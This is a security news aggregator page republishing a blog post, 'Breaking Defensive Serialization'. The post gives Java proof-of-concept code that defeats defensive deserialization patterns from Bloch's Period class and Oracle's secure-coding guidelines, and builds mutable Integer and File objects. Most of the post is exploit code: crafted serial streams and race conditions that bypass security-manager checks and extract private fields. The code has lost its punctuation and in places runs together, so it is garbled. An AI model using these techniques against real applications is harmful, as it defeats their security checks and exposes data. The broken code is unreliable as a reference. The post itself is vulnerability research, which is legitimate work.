|
|
|
Breaking Defensive Serialization |
Si vous voulez bloquer ce service sur vos fils RSS
Si vous voulez nous contacter ou nous proposer un fil RSS
Menu > Articles de la revue de presse : - l'ensemble [ tous | francophone] - par mots clé [ tous] - par site [ tous] - le tagwall [ voir] - Top bi-hebdo de la revue de presse [ Voir]
Présentation : This post is too long and not very high quality. But I said I'd show code, so there. Now I want to take a break from serialization. So, the last post was very theoretical, describing how to break many of the defensive serialization patterns suggested by publications and guides, but showing no actual code on how to do it. This post aims to remedy that. In order to do that, I need an efficient and clear way to include the serial data which is at the heart of those pieces of code. I've been dealing with serial data in a lot of different ways over the years, ranging from using a hex editor to edit the binary data stored in a file, using an unpublished version of reJ with serial data manipulation capabilities, inline byte arrays with comments, serializing stand-in classes and doing string substitution in the binary data. Any of those work well when you're creating proof of vulnerabilities once per month, but none of them are very much fun to work with when you have a half a dozen examples you want to show. Also, they don't translate very well into a blog post. So I decided on an annotated Object array, which contains Bytes, Shorts, Integers, Longs, Strings and my own Repeat objects. The object array gets processed, writing the values into a byte array, using the corresponding writeXXX methods of DataOutputStream. And the Repeat is used to repeat a set of data n times. So to start off, here are the couple of helper classes, Converter and Repeat, that aid in turning a somewhat legible Object array into the binary serial data. And also the EvilSplitStream which aids in dynamically altering the InputStream which feeds the deserialization. 001 package util 002 003 public class Repeat 004 private int count 005 private Object data 006 007 Repeat int count, Object data 008 this.count count 009 this.data data 010 011 012 public static Repeat me int count, Object ... data 013 return new Repeat count, data 014 015 016 public int getCount 017 return count 018 019 020 public Object getData 021 return data 022 023 001 package util 002 003 import java.io.BufferedInputStream 004 import java.io.ByteArrayInputStream 005 import java.io.ByteArrayOutputStream 006 import java.io.DataOutputStream 007 import java.io.IOException 008 import java.io.InputStream 009 import java.io.ObjectInputStream 010 011 public class Converter 012 013 public static ObjectInputStream convert Object objs throws IOException 014 ObjectInputStream ois new ObjectInputStream getStream objs 015 return ois 016 017 018 public static InputStream getStream Object objs throws IOException 019 ByteArrayOutputStream baos new ByteArrayOutputStream 020 DataOutputStream dos new DataOutputStream baos 021 for Object obj objs 022 treatObject dos, obj 023 024 025 ByteArrayInputStream bais new ByteArrayInputStream baos.toByteArray 026 BufferedInputStream bis new BufferedInputStream bais 027 return bis 028 029 030 private static void treatObject DataOutputStream dos, Object obj 031 throws IOException 032 if obj instanceof Byte 033 dos.writeByte Byte obj 034 else if obj instanceof Short 035 dos.writeShort Short obj 036 else if obj instanceof Integer 037 dos.writeInt Integer obj 038 else if obj instanceof Long 039 dos.writeLong Long obj 040 else if obj instanceof String 041 String str String obj 042 dos.writeUTF str 043 else if obj instanceof Repeat 044 Repeat r Repeat obj 045 for int i 0 i values.length 064 return 0 065 066 067 stack inspection 068 ByteArrayOutputStream baos new ByteArrayOutputStream 069 new Exception .printStackTrace new PrintStream baos 070 int period baos.toString .indexOf Period. 071 int periodReadObject baos.toString .indexOf Period.readObject 072 if period periodReadObject 073 final Period mutable this.period 074 at this moment we hold a ref to a mutable Period - proof 075 System.out.println start mutable.start 076 System.out.println start mutable.start 077 System.out.println start mutable.start 078 System.out.println start mutable.start 079 080 081 if pos values.length 082 return 0 083 084 return values pos 085 086 087 private void readObject ObjectInputStream s throws IOException, ClassNotFoundException 088 s.defaultReadObject 089 090 091 Apologies for the bad readability of the code, the multiple re-entries into the getTime method complicate things a bit. There are two objects in the serial data. An instance of Josh's Period class and an instance of a class defined here, MutableDate. The idea is that both the start and end fields of the Period object will be populated with the same MutableDate instance it doesn't need to be the same, just being stingy on LOC . Eventually the Period.readObject method will replace these with immutable Date objects, but the idea is that we do our dirty bidding before that takes place. The Period.readObject calls Date.getTime on our MutableDate instance which is stored in the start field. At this point all three fields Period.start, Period.end and MutableDate.period have been initialized. We have control of the PeriodObject through an early cross reference in the MutableDate instance. As a proof of the mutability there are 4 consecutive calls to the Period.start method whose output are printed, something like this start Thu May 01 00 00 00 BRT 2008 start Sat Jul 04 00 00 00 BRT 2009 start Fri Dec 24 00 00 00 BRST 2010 start Sun Aug 08 00 00 00 BRT 2010 Important note for those who might be at doubt Joshua Bloch is not the problem. The serialization deserialization SNAFU is. 2 Oracle Secure Coding guidelines Guideline 5-4 2a Example 1 As this class is pretty skinny on the details, I'll skip it. I'd have to add most of the logic to it and then one could argue that the code I added made it vulnerable. 2b Example 2 I added a few things to this class to make it more serially robust and to be able to better display it being manipulated, namely, a serialVersionUID and a toString method. Security-wise the class is still exactly as it is in the secure coding guidelines example 001 package ser3 002 003 import java.io.IOException 004 005 public final class SecureName implements java.io.Serializable 006 007 private static final long serialVersionUID 3874641747845008981L 008 009 private internal state 010 private String name 011 012 private static final String DEFAULT DEFAULT 013 014 public SecureName 015 initialize name to default value 016 name DEFAULT 017 018 019 allow callers to modify private internal state 020 public void setName String name 021 if name null name.equals this.name this.name null 022 no change - do nothing 023 return 024 else 025 permission needed to modify name 026 securityManagerCheck 027 028 inputValidation name 029 030 this.name name 031 032 033 034 implement readObject to enforce checks during deserialization 035 private void readObject java.io.ObjectInputStream in throws ClassNotFoundException, IOException 036 java.io.ObjectInputStream.GetField fields in.readFields 037 String name String fields.get name , DEFAULT 038 039 if the deserialized name does not match the default value normally 040 created at construction time, duplicate checks 041 042 if DEFAULT.equals name 043 securityManagerCheck 044 inputValidation name 045 046 this.name name 047 048 049 private void inputValidation String name2 050 code omitted 051 throw new SecurityException not allowed 052 053 054 private void securityManagerCheck 055 code omitted 056 throw new SecurityException not allowed 057 058 059 public String toString 060 return SecureName this.name 061 062 063 And to break it 001 package ser3 002 003 import java.io.IOException 004 import java.io.NotActiveException 005 import java.io.ObjectInputStream 006 import java.io.ObjectStreamConstants 007 008 import util.Converter 009 import util.EvilSplitStream 010 011 public class App implements ObjectStreamConstants 012 013 static final Object _DATA new Object 014 STREAM_MAGIC, STREAM_VERSION, stream headers 015 016 TC_OBJECT, 017 TC_CLASSDESC, 018 SecureName.class.getName , A Period object 019 long 3874641747845008981L, serialVersionUID 020 byte 3, classdesc flags 021 short 1, field count 022 byte 'L', name , TC_STRING, Ljava lang String , start field 023 TC_ENDBLOCKDATA, 024 TC_NULL, no superclass 025 026 field value data 027 TC_STRING, EVIL , value for SecureName.name 028 029 030 public static SecureName evilName null 031 032 public static void main String args throws Exception 033 final EvilSplitStream is new EvilSplitStream Converter.getStream DATA 034 final ObjectInputStream ois new ObjectInputStream is 035 036 is.mark 1024 037 new Thread 038 public void run 039 while true 040 try 041 ois.readObject 042 catch NotActiveException nae 043 NAE means defaultReadObject was successfully called 044 in the other thread 045 break and our work is done 046 catch SecurityException se 047 se.printStackTrace 048 catch ClassNotFoundException cnfe 049 catch IOException ioe 050 ioe.printStackTrace 051 052 try 053 is.reset 054 catch IOException ioe 055 ioe.printStackTrace 056 057 058 059 .start 060 061 this thread forces a call to defaultReadObject 062 while true 063 try 064 ois.defaultReadObject 065 System.out.println Successfully called defaultReadObject externally. 066 try 067 int ref baseWireHandle 068 enumerate all refs in the stream to find the evil object 069 while true 070 is.rewrite Converter.getStream new Object TC_REFERENCE, ref 071 Object obj ois.readObject read ref 072 if obj.toString .contains EVIL 073 App.evilName SecureName obj 074 break 075 076 077 catch Throwable t 078 t.printStackTrace 079 080 081 break done bail 082 catch IOException e 083 catch ClassNotFoundException e 084 085 086 087 done 088 System.out.println An evil SecureName evilName 089 090 Basically, we create an additional thread which keeps on calling .readObject on the ObjectInputStream, reading the same object over and over again thanks to resetting the underlying InputStream after each call . Meanwhile, another thread keeps on calling .defaultReadObject on the same ObjectInputStream. Once the right condition occurs happens immediately on my core 2 laptop and the other thread is in the SecureName.readObject method, but hasn't called .readFields yet, the call to .defaultReadObject succeeds and all of SecureName's serial fields are automatically populated. That particular SecureName instance gets a bit lost, because defaultReadObject doesn't return anything, and the corresponding .readObject in the other thread ends up throwing an exception because it tries to call readFields after defaultReadObject has already been called . To get a hold of the missing object, we do a little bit of magic and manipulate our stream to return a ref to all the objects in it. 2c Example 3 - Secure writeObject implementation with a security check. Same as above, adding some meat bones to this example to have something worthwhile to steal. A serialVersionUID and a value for the sensitive field. This is what we'll try to extract through serialization. 001 package ser4 002 003 import java.io.IOException 004 005 public final class SecureValue implements java.io.Serializable 006 007 private static final long serialVersionUID -5975820784258084088L 008 009 sensitive internal state 010 private String value The secret of life is D41D8CD98F00B204E9800998ECF8427E 011 012 public method to allow callers to retrieve internal state 013 public String getValue 014 permission needed to get value 015 securityManagerCheck 016 return value 017 018 019 implement writeObject to enforce checks during serialization 020 private void writeObject java.io.ObjectOutputStream out throws IOException 021 duplicate check from getValue 022 securityManagerCheck 023 out.writeObject value 024 025 026 private void securityManagerCheck 027 code omitted 028 029 And the code that breaks it 001 package ser4 002 003 import java.io.ByteArrayOutputStream 004 import java.io.IOException 005 import java.io.ObjectOutputStream 006 import java.io.ObjectStreamConstants 007 008 public class App implements ObjectStreamConstants 009 010 static ObjectOutputStream OOS null 011 012 static boolean completed false 013 014 public static void main String args throws Exception 015 final ByteArrayOutputStream baos new ByteArrayOutputStream 016 OOS new ObjectOutputStream baos 017 new Thread 018 public void run 019 while completed 020 try 021 OOS.writeObject new SecureValue 022 catch IOException ioe 023 024 025 .start 026 while completed 027 try 028 OOS.defaultWriteObject 029 System.out.println serial data baos.toString 030 completed true 031 catch IOException e 032 033 034 035 036 This one is simple. One thread keeps on writing SecureValue objects into the ObjectOutputStream new instance every time, otherwise the serialization framework would just write a ref . Another thread keeps on calling defaultWriteObject on the same ObjectOutputStream. Once the race condition stars align again, on my laptop this is immediate the secrets of the SecureValue instance get written into a ByteArrayOutputStream and are accessible to us. 3 java.lang.Integer Creating a mutable Integer that starts with zero as the value and on command changes it's value to any int value is quite trivial. 001 package ser5 002 003 import java.io.ObjectStreamConstants 004 005 import util.Converter 006 007 public class App1 implements ObjectStreamConstants 008 009 static final Object _DATA new Object 010 STREAM_MAGIC, STREAM_VERSION, stream headers 011 012 TC_OBJECT, 013 TC_CLASSDESC, 014 Integer.class.getName , name 015 long 1360826667806852920L, serialVersionUID 016 byte 2, classdesc flags 017 short 1, field count 018 byte 'I', value , 019 TC_ENDBLOCKDATA, 020 super 021 TC_CLASSDESC, 022 pkg.None , name 023 long 1337L, serialVersionUID 024 byte 2, classdesc flags 025 short 1, field count 026 byte 'L', notimportant , TC_STRING, Ljava lang Object , 027 TC_ENDBLOCKDATA, 028 super 029 TC_NULL, 030 031 start value data 032 TC_OBJECT, embedded object, the value of pkg.None.notimportant phantom field 033 TC_CLASSDESC, 034 Ref.class.getName , name 035 long 1, serialVersionUID 036 byte 2, flags 037 short 1, field count 038 byte 'L', i , TC_STRING, Ljava lang Integer , 039 TC_ENDBLOCKDATA, 040 super 041 TC_NULL, 042 043 start value data for Ref 044 TC_REFERENCE, baseWireHandle 3, ref to the Integer object 045 046 1337 value of the Integer object 047 048 049 public static Integer INSTANCE null 050 051 public static void main String args throws Exception 052 Converter.convert DATA .readObject 053 System.out.println INSTANCE System.identityHashCode App1.INSTANCE value App1.INSTANCE 054 055 056 001 package ser5 002 003 004 import java.io.IOException 005 import java.io.ObjectInputStream 006 import java.io.Serializable 007 008 public class Ref implements Serializable 009 private static final long serialVersionUID 1L 010 011 public Integer i 012 013 private void readObject ObjectInputStream s throws IOException, ClassNotFoundException 014 s.defaultReadObject 015 App1.INSTANCE this.i 016 System.out.println INSTANCE System.identityHashCode App1.INSTANCE value App1.INSTANCE 017 018 019 We have an early reference on a phantom superclass field containing a Ref object. This object has a reference to the Integer instance before it's fields have been initialized because the phantom superclass fields are still being initialized . So the Integer instance has the default value 0. Once the initialization completes, the object will have the value that is in the stream. In this case 1337. It is also possible, with a few limitations, to create more arbitrary mutability from any value to another, with multiple changes. 001 package ser5 002 003 import java.io.ObjectStreamConstants 004 005 import util.Converter 006 import util.Repeat 007 008 public class App2 implements ObjectStreamConstants 009 010 static final Object _DATA new Object 011 STREAM_MAGIC, STREAM_VERSION, stream headers 012 013 TC_OBJECT, 014 TC_CLASSDESC, 015 Integer.class.getName , name 016 long 1360826667806852920L, serialVersionUID 017 byte 2, classdesc flags 018 short 10000, field count 019 Repeat.me 10000, new Object 020 byte 'I', value 021 , 022 TC_ENDBLOCKDATA, 023 super 024 TC_CLASSDESC, 025 pkg.None , name 026 long 1337L, serialVersionUID 027 byte 2, classdesc flags 028 short 1, field count 029 byte 'L', notimportant , TC_STRING, Ljava lang Object , 030 TC_ENDBLOCKDATA, 031 super 032 TC_NULL, 033 034 start value data 035 TC_OBJECT, embedded object, the value of pkg.None.notimportant phantom field 036 TC_CLASSDESC, 037 Ref2.class.getName , name 038 long 1, serialVersionUID 039 byte 2, flags 040 short 1, field count 041 byte 'L', i , TC_STRING, Ljava lang Integer , 042 TC_ENDBLOCKDATA, 043 super 044 TC_NULL, 045 046 start value data for XRef 047 TC_REFERENCE, baseWireHandle 3, ref to the 4th object in the stream 048 049 start integer data 050 Repeat.me 2000, new Object 051 1 052 , 053 Repeat.me 2000, new Object 054 2 055 , 056 Repeat.me 2000, new Object 057 3 058 , 059 Repeat.me 2000, new Object 060 4 061 , 062 Repeat.me 2000, new Object 063 5 064 , 065 066 067 public static void main String args throws Exception 068 Converter.convert DATA .readObject 069 070 071 001 package ser5 002 003 import java.io.IOException 004 import java.io.ObjectInputStream 005 import java.io.Serializable 006 007 public class Ref2 implements Serializable 008 private static final long serialVersionUID 1L 009 010 public Integer i 011 012 private void readObject ObjectInputStream s throws IOException, ClassNotFoundException 013 s.defaultReadObject 014 new Thread 015 public void run 016 while i.intValue 5 017 System.out.println i 018 019 System.out.println i 020 021 .start 022 try 023 Thread.sleep 50 024 catch InterruptedException e 025 e.printStackTrace 026 027 028 This example uses the Repeated Field attack. It's quite a bit messier than the 0-1337 example above, but it manages repeated mutability. The serial data contains the value field of the Integer class repeated 10,000 times. That is, 2000 times for each of the values 1, 2, 3, 4 and 5. To demonstrate the mutation, another Threads keeps printing the Integer. 4 java.io.File 001 package ser6 002 import java.io.EOFException 003 import java.io.File 004 import java.io.IOException 005 import java.io.NotActiveException 006 import java.io.ObjectInputStream 007 import java.io.ObjectStreamConstants 008 import java.io.OptionalDataException 009 import java.io.StreamCorruptedException 010 011 import util.Converter 012 import util.EvilSplitStream 013 014 public class App implements ObjectStreamConstants 015 016 static final Object _DATA new Object 017 STREAM_MAGIC, STREAM_VERSION, stream headers 018 TC_OBJECT, 019 TC_CLASSDESC, 020 File.class.getName , 021 long 301077366599181567L, serialVersionUID 022 byte 3, classdesc flags 023 short 2, field count 024 byte 'L', path , TC_STRING, Ljava lang String , 025 byte 'L', phantom , TC_STRING, Ljava lang Object , 026 TC_ENDBLOCKDATA, 027 TC_NULL, no superclass 028 029 start value data for File 030 TC_STRING, , path 031 TC_OBJECT, phantom phantom field 032 TC_CLASSDESC, 033 XRef.class.getName , 034 long 1, serialVersionUID 035 byte 2, classdesc flags 036 short 1, field count 037 byte 'L', bb , TC_STRING, Ljava lang Object , 038 TC_ENDBLOCKDATA, 039 TC_NULL, no superclass 040 041 start value data for XRef 042 TC_REFERENCE, baseWireHandle 3, 043 TC_BLOCKDATA, byte 2, short ' ', TC_ENDBLOCKDATA, 044 045 046 047 public static File INSTANCE null 048 049 public static boolean keepWaiting true 050 051 public static void main String args throws Exception 052 final EvilSplitStream is new EvilSplitStream Converter.getStream DATA 053 final ObjectInputStream ois new ObjectInputStream is 054 055 new Thread 056 public void run 057 while true 058 try 059 ois.defaultReadObject 060 System.out.println INSTANCE System.identityHashCode App.INSTANCE value App.INSTANCE.getPath 061 break done, bail 062 catch IOException e 063 catch ClassNotFoundException e 064 065 066 067 .start 068 069 is.mark 50000 070 while true 071 try 072 ois.readObject 073 catch NotActiveException nae 074 App.keepWaiting false 075 System.out.println NAE. OK. Bailing. 076 break 077 catch IllegalArgumentException iae 078 079 is.reset 080 081 082 083 001 package ser6 002 003 004 import java.io.ByteArrayOutputStream 005 import java.io.File 006 import java.io.IOException 007 import java.io.ObjectInputStream 008 import java.io.PrintStream 009 import java.io.Serializable 010 011 public class XRef implements Serializable 012 private static final long serialVersionUID 1L 013 014 public File bb 015 016 private void readObject ObjectInputStream s throws IOException, ClassNotFoundException 017 s.defaultReadObject 018 ByteArrayOutputStream baos new ByteArrayOutputStream 019 PrintStream ps new PrintStream baos 020 new Exception .printStackTrace ps 021 String stack baos.toString 022 if stack.contains defaultReadObject 023 App.INSTANCE bb 024 System.out.println INSTANCE System.identityHashCode App.INSTANCE value App.INSTANCE.getPath 025 try 026 while App.keepWaiting 027 Thread.sleep 10 028 029 catch InterruptedException e 030 e.printStackTrace 031 032 033 034 035 That's not terribly robust, there's so many things that can go wrong with the timing. But it seems to work most of the time. It's a File that at first has a null path and then as it's path. This path string doesn't pass through normalization. I'm not certain if that has security implications.
Les derniers articles du site " Slightly Random Broken Thoughts" :
- Java 6 update 26 is out - Inflated Java Malware Infection Rates - Oracle Java Applet Clipboard Injection Remote Code Execution Vulnerability - Java JFileChooser Programmatic Manipulation Vulnerability - Trusted Method Chaining for Network Interface details - Trusted Method Chaining to a System.exit - Hazards of Duke - Java 6 Update 22 is out - Breaking Defensive Serialization - Why Complex Powerful is a bad combination for security
Menu > Articles de la revue de presse : - l'ensemble [ tous | francophone] - par mots clé [ tous] - par site [ tous] - le tagwall [ voir] - Top bi-hebdo de la revue de presse [ Voir]
Si vous voulez bloquer ce service sur vos fils RSS :
- avec iptables "iptables -A INPUT -s 88.191.75.173 --dport 80 -j DROP"
- avec ipfw et wipfw "ipfw add deny from 88.191.75.173 to any 80"
- Nous contacter par mail
| Mini-Tagwall des articles publiés sur SecuObs : | | | | sécurité, exploit, windows, attaque, outil, microsoft, réseau, audit, metasploit, vulnérabilité, système, virus, internet, usbsploit, données, source, linux, protocol, présentation, scanne, réseaux, scanner, bluetooth, conférence, reverse, shell, meterpreter, vista, rootkit, détection, mobile, security, malicieux, engineering, téléphone, paquet, trames, https, noyau, utilisant, intel, wishmaster, google, sysun, libre |
| Mini-Tagwall de l'annuaire video : | | | | curit, security, biomet, metasploit, biometric, cking, password, windows, botnet, defcon, tutorial, crypt, xploit, exploit, lockpicking, linux, attack, wireshark, vmware, rootkit, conference, network, shmoocon, backtrack, virus, conficker, elcom, etter, elcomsoft, server, meterpreter, openvpn, ettercap, openbs, iphone, shell, openbsd, iptables, securitytube, deepsec, source, office, systm, openssh, radio |
| Mini-Tagwall des articles de la revue de presse : | | | | security, microsoft, windows, hacker, attack, network, vulnerability, google, exploit, malware, internet, remote, iphone, server, inject, patch, apple, twitter, mobile, virus, ebook, facebook, vulnérabilité, crypt, source, linux, password, intel, research, virtual, phish, access, tutorial, trojan, social, privacy, firefox, adobe, overflow, office, cisco, conficker, botnet, pirate, sécurité |
| Mini-Tagwall des Tweets de la revue Twitter : | | | | security, linux, botnet, attack, metasploit, cisco, defcon, phish, exploit, google, inject, server, firewall, network, twitter, vmware, windows, microsoft, compliance, vulnerability, python, engineering, source, kernel, crypt, social, overflow, nessus, crack, hacker, virus, iphone, patch, virtual, javascript, malware, conficker, pentest, research, email, password, adobe, apache, proxy, backtrack |
|
|
|
|
|